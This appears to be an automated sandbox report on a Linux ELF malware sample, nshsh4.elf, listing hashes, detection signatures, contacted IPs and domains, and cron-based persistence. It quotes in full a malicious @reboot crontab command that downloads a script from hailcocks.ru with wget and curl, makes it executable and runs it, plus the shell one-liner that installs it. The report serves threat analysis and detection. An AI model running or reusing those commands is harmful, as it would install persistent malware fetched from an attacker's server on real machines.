Linux Analysis Report
nshsh4.elf

Overview

General Information

Sample name: nshsh4.elf
Analysis ID: 1542853
MD5: abc6baddfa99634d1fc0b44be7aa4da0
SHA1: dc2bd0805cf42c3cc58cb4ac0eca083ef7790795
SHA256: 6842684059ec919a5960bd49053831ea2b1902e6a747b9386895bc1690161238
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Executes the "crontab" command typically for achieving persistence
Sample tries to persist itself using cron
Detected TCP or UDP traffic on non-standard ports
Executes commands using a shell command-line interpreter
Found strings indicative of a multi-platform dropper
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: nshsh4.elf ReversingLabs: Detection: 23%
Found strings indicative of a multi-platform dropper
Source: tmp.L3xqaq.18.dr String: @reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 195.133.92.51 ports 3,4,5,6,6435,6735
Source: global traffic TCP traffic: 193.233.193.45 ports 1,2,3,4,6,14623
Source: global traffic TCP traffic: 88.151.195.22 ports 7830,2,3,25385,5,8
Source: global traffic TCP traffic: 81.29.149.178 ports 15394,7362,1,3,4,5,9,6999,7869
Source: global traffic TCP traffic: 91.149.238.18 ports 13529,1,2,3,5,9
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:33524 -> 88.151.195.22:25385
Source: global traffic TCP traffic: 192.168.2.23:53156 -> 91.149.218.232:17134
Source: global traffic TCP traffic: 192.168.2.23:40970 -> 195.133.92.51:6435
Source: global traffic TCP traffic: 192.168.2.23:46098 -> 81.29.149.178:15394
Source: global traffic TCP traffic: 192.168.2.23:36488 -> 185.82.200.181:6718
Source: global traffic TCP traffic: 192.168.2.23:49520 -> 91.149.238.18:13529
Source: global traffic TCP traffic: 192.168.2.23:55186 -> 31.13.248.89:22472
Source: global traffic TCP traffic: 192.168.2.23:42280 -> 193.233.193.45:14623
Sample listens on a socket
Source: /tmp/nshsh4.elf (PID: 6253) Socket: 127.0.0.1:1172 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown UDP traffic detected without corresponding DNS query: 70.34.254.19
Source: unknown UDP traffic detected without corresponding DNS query: 70.34.254.19
Source: unknown UDP traffic detected without corresponding DNS query: 70.34.254.19
Source: unknown UDP traffic detected without corresponding DNS query: 70.34.254.19
Source: unknown UDP traffic detected without corresponding DNS query: 139.84.165.176
Source: unknown UDP traffic detected without corresponding DNS query: 139.84.165.176
Source: unknown UDP traffic detected without corresponding DNS query: 51.158.108.203
Source: unknown UDP traffic detected without corresponding DNS query: 51.158.108.203
Source: unknown UDP traffic detected without corresponding DNS query: 139.84.165.176
Source: unknown UDP traffic detected without corresponding DNS query: 5.161.109.23
Source: unknown UDP traffic detected without corresponding DNS query: 217.160.70.42
Source: unknown UDP traffic detected without corresponding DNS query: 217.160.70.42
Source: unknown UDP traffic detected without corresponding DNS query: 152.53.15.127
Source: unknown UDP traffic detected without corresponding DNS query: 185.181.61.24
Source: unknown UDP traffic detected without corresponding DNS query: 217.160.70.42
Source: unknown UDP traffic detected without corresponding DNS query: 64.176.6.48
Source: unknown UDP traffic detected without corresponding DNS query: 194.36.144.87
Source: unknown UDP traffic detected without corresponding DNS query: 139.84.165.176
Source: unknown UDP traffic detected without corresponding DNS query: 139.84.165.176
Source: unknown UDP traffic detected without corresponding DNS query: 152.53.15.127
Source: unknown UDP traffic detected without corresponding DNS query: 64.176.6.48
Source: unknown UDP traffic detected without corresponding DNS query: 152.53.15.127
Source: unknown UDP traffic detected without corresponding DNS query: 152.53.15.127
Source: unknown UDP traffic detected without corresponding DNS query: 185.181.61.24
Source: unknown UDP traffic detected without corresponding DNS query: 5.161.109.23
Source: unknown UDP traffic detected without corresponding DNS query: 202.61.197.122
Source: unknown UDP traffic detected without corresponding DNS query: 80.152.203.134
Source: global traffic DNS traffic detected: DNS query: kingstonwikkerink.dyn
Source: tmp.L3xqaq.18.dr String found in binary or memory: http://hailcocks.ru/wget.sh;
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal60.troj.linELF@0/1@23/0

Persistence and Installation Behavior
barindex
Executes the "crontab" command typically for achieving persistence
Source: /bin/sh (PID: 6259) Crontab executable: /usr/bin/crontab -> crontab -l Jump to behavior
Source: /bin/sh (PID: 6258) Crontab executable: /usr/bin/crontab -> crontab - Jump to behavior
Sample tries to persist itself using cron
Source: /usr/bin/crontab (PID: 6258) File: /var/spool/cron/crontabs/tmp.L3xqaq Jump to behavior
Source: /usr/bin/crontab (PID: 6258) File: /var/spool/cron/crontabs/root Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/nshsh4.elf (PID: 6255) Shell command executed: sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -" Jump to behavior
Source: submitted sample Stderr: no crontab for root: exit code = 0
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/nshsh4.elf (PID: 6253) Queries kernel information via 'uname': Jump to behavior
Source: nshsh4.elf, 6253.1.00007ffe0d65d000.00007ffe0d67e000.rw-.sdmp, nshsh4.elf, 6260.1.00007ffe0d65d000.00007ffe0d67e000.rw-.sdmp, nshsh4.elf, 6303.1.00007ffe0d65d000.00007ffe0d67e000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sh4
Source: nshsh4.elf, 6253.1.000055aeb8234000.000055aeb82bc000.rw-.sdmp, nshsh4.elf, 6260.1.000055aeb8234000.000055aeb82bc000.rw-.sdmp, nshsh4.elf, 6303.1.000055aeb8234000.000055aeb82bc000.rw-.sdmp Binary or memory string: U5!/etc/qemu-binfmt/sh4
Source: nshsh4.elf, 6253.1.00007ffe0d65d000.00007ffe0d67e000.rw-.sdmp, nshsh4.elf, 6260.1.00007ffe0d65d000.00007ffe0d67e000.rw-.sdmp, nshsh4.elf, 6303.1.00007ffe0d65d000.00007ffe0d67e000.rw-.sdmp Binary or memory string: rx86_64/usr/bin/qemu-sh4/tmp/nshsh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nshsh4.elf
Source: nshsh4.elf, 6253.1.000055aeb8234000.000055aeb82bc000.rw-.sdmp, nshsh4.elf, 6260.1.000055aeb8234000.000055aeb82bc000.rw-.sdmp, nshsh4.elf, 6303.1.000055aeb8234000.000055aeb82bc000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sh4
Source: nshsh4.elf, 6303.1.00007ffe0d65d000.00007ffe0d67e000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.82.200.181
 unknown Netherlands
60117 HSAE false
195.133.92.51
 unknown Russian Federation
197695 AS-REGRU true
193.233.193.45
 unknown Russian Federation
2895 FREE-NET-ASFREEnetEU true
109.202.202.202
 unknown Switzerland
13030 INIT7CH false
91.149.218.232
 unknown Poland
198401 GECKONET-ASPL false
31.13.248.89
 unknown Bulgaria
34224 NETERRA-ASBG false
88.151.195.22
 unknown Azerbaijan
15723 AZERONLINEAZ true
81.29.149.178
 unknown Switzerland
39616 COMUNICA_IT_SERVICESCH true
91.149.238.18
 unknown Poland
41952 MARTON-ASPL true
91.189.91.43
 unknown United Kingdom
41231 CANONICAL-ASGB false
91.189.91.42
 unknown United Kingdom
41231 CANONICAL-ASGB false

Contacted Domains

Name IP Active
kingstonwikkerink.dyn 194.87.198.29 true